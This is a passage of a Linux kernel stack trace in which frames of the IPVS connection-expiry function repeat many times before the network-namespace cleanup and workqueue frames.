[   59.282389]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.282860]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.283443]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.283915]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.284411]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.284883]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.285392]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.285863]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.286487]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.286959]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.287848]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.288362]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.288879]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.289394]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.289980]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.290477]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.290985]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.291516]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.292012]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.292630]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.293122]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.293634]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.294189]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.294737]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.295224]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.296094]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.296616]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.297103]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.297577]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.298028]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.298582]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.299033]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.299504]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.300011]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.300489]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.300939]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.301482]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.301936]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.302436]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.302885]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.303366]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.303813]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.304881]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.305328]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.305852]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.306310]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.306780]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.307530]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.308000]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.308537]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.309079]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.309558]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.310019]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.310490]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.310949]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.311482]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.311953]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.312804]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.313309]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.313812]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.314296]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.314734]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.315193]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.315639]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.316099]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.316616]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.317089]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.317567]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.318029]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.318485]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.318952]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.319388]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.319847]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.320297]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.320842]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.321281]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.321748]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.322209]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.322672]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.323111]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.323582]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.324067]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.324635]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.325172]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.325673]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.326334]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.326813]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.327253]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.327717]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.328154]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.328622]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.329260]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.329724]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.330182]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.330692]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.331222]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.331688]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.332145]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.332676]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.333125]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.333592]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.334137]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.334613]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.335061]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.335532]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.335996]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.336468]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.336986]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.337544]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.338001]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.338500]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.338949]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.339556]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.340013]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.340490]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.340939]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.341457]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.341975]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.342473]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.342925]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.343397]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.343854]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.344326]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.344785]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.345333]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.345839]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.346356]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.346848]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.347319]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.347776]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.348247]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.348694]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.349178]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.349634]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.350140]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.350590]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.351069]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.351525]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.352000]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.352452]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.352928]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.353391]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.353864]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.354556]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.355097]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.355704]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.356179]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.356624]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.357108]  ? arch_stack_walk (arch/x86/include/asm/unwind.h:64 arch/x86/kernel/stacktrace.c:24)
[   59.357525]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.357967]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.358468]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.358910]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.359467]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.359929]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.360391]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.360823]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.361283]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.361712]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.362186]  ? ext4_writepages (fs/ext4/inode.c:3032)
[   59.362689]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.363129]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.363582]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.364011]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.364480]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.364912]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.365386]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.365819]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.366289]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.367117]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.367568]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.368001]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.368451]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.368895]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.369349]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.369779]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.370308]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.370839]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.371332]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.371760]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.372252]  ? addrconf_notify (net/ipv6/addrconf.c:3812)
[   59.372775]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.373214]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.373675]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.374136]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.374595]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.375440]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.375908]  ? __pfx_sched_balance_find_src_group (kernel/sched/fair.c:11815)
[   59.376460]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.376895]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.377353]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.377789]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.378277]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.378712]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.379583]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.380033]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.380511]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.380967]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.381437]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.381891]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.382380]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.382828]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.383369]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.383811]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.384316]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.384752]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.385332]  ? __flush_work (include/linux/rcupdate.h:882 kernel/workqueue.c:4389 kernel/workqueue.c:4403)
[   59.385761]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.386248]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.386707]  ? ip_vs_conn_net_cleanup (net/netfilter/ipvs/ip_vs_conn.c:1329 net/netfilter/ipvs/ip_vs_conn.c:1961 net/netfilter/ipvs/ip_vs_conn.c:2099)
[   59.387172]  ? __ip_vs_cleanup_batch (net/netfilter/ipvs/ip_vs_core.c:2542)
[   59.387716]  ? ops_undo_list (net/core/net_namespace.c:206 net/core/net_namespace.c:253)
[   59.388196]  ? __pfx_ops_undo_list (net/core/net_namespace.c:743)
[   59.388638]  ? __pfx__raw_spin_lock (kernel/locking/spinlock.c:362)
[   59.389105]  ? cleanup_net (net/core/net_namespace.c:706)
[   59.389496]  ? __pfx_cleanup_net (include/linux/llist.h:241)
[   59.389999]  ? finish_task_switch.isra.0 (kernel/sched/sched.h:1684 (discriminator 1) kernel/sched/sched.h:1697 (discriminator 1) kernel/sched/core.c:5251 (discriminator 1) kernel/sched/core.c:5369 (discriminator 1))
[   59.390535]  ? process_one_work (kernel/workqueue.c:3387)
[   59.390987]  ? __pfx___schedule (kernel/sched/core.c:8159 (discriminator 1))
[   59.391406]  ? __pfx_process_one_work (kernel/workqueue.c:4549)
[   59.391986]  ? _raw_spin_lock_irq (include/linux/instrumented.h:55 include/linux/atomic/atomic-instrumented.h:1301 include/asm-generic/qspinlock.h:112 include/linux/spinlock.h:188 include/linux/spinlock_api_smp.h:166 kernel/locking/spinlock.c:189)
[   59.392419]  ? __pfx_cleanup_net (include/linux/llist.h:241)
[   59.392837]  ? assign_work (kernel/workqueue.c:1235)
[   59.393222]  ? worker_thread (kernel/workqueue.c:3470 kernel/workqueue.c:3551)
[   59.393762]  ? __pfx_worker_thread (include/linux/list.h:264)
[   59.394242]  ? kthread (kernel/kthread.c:436)
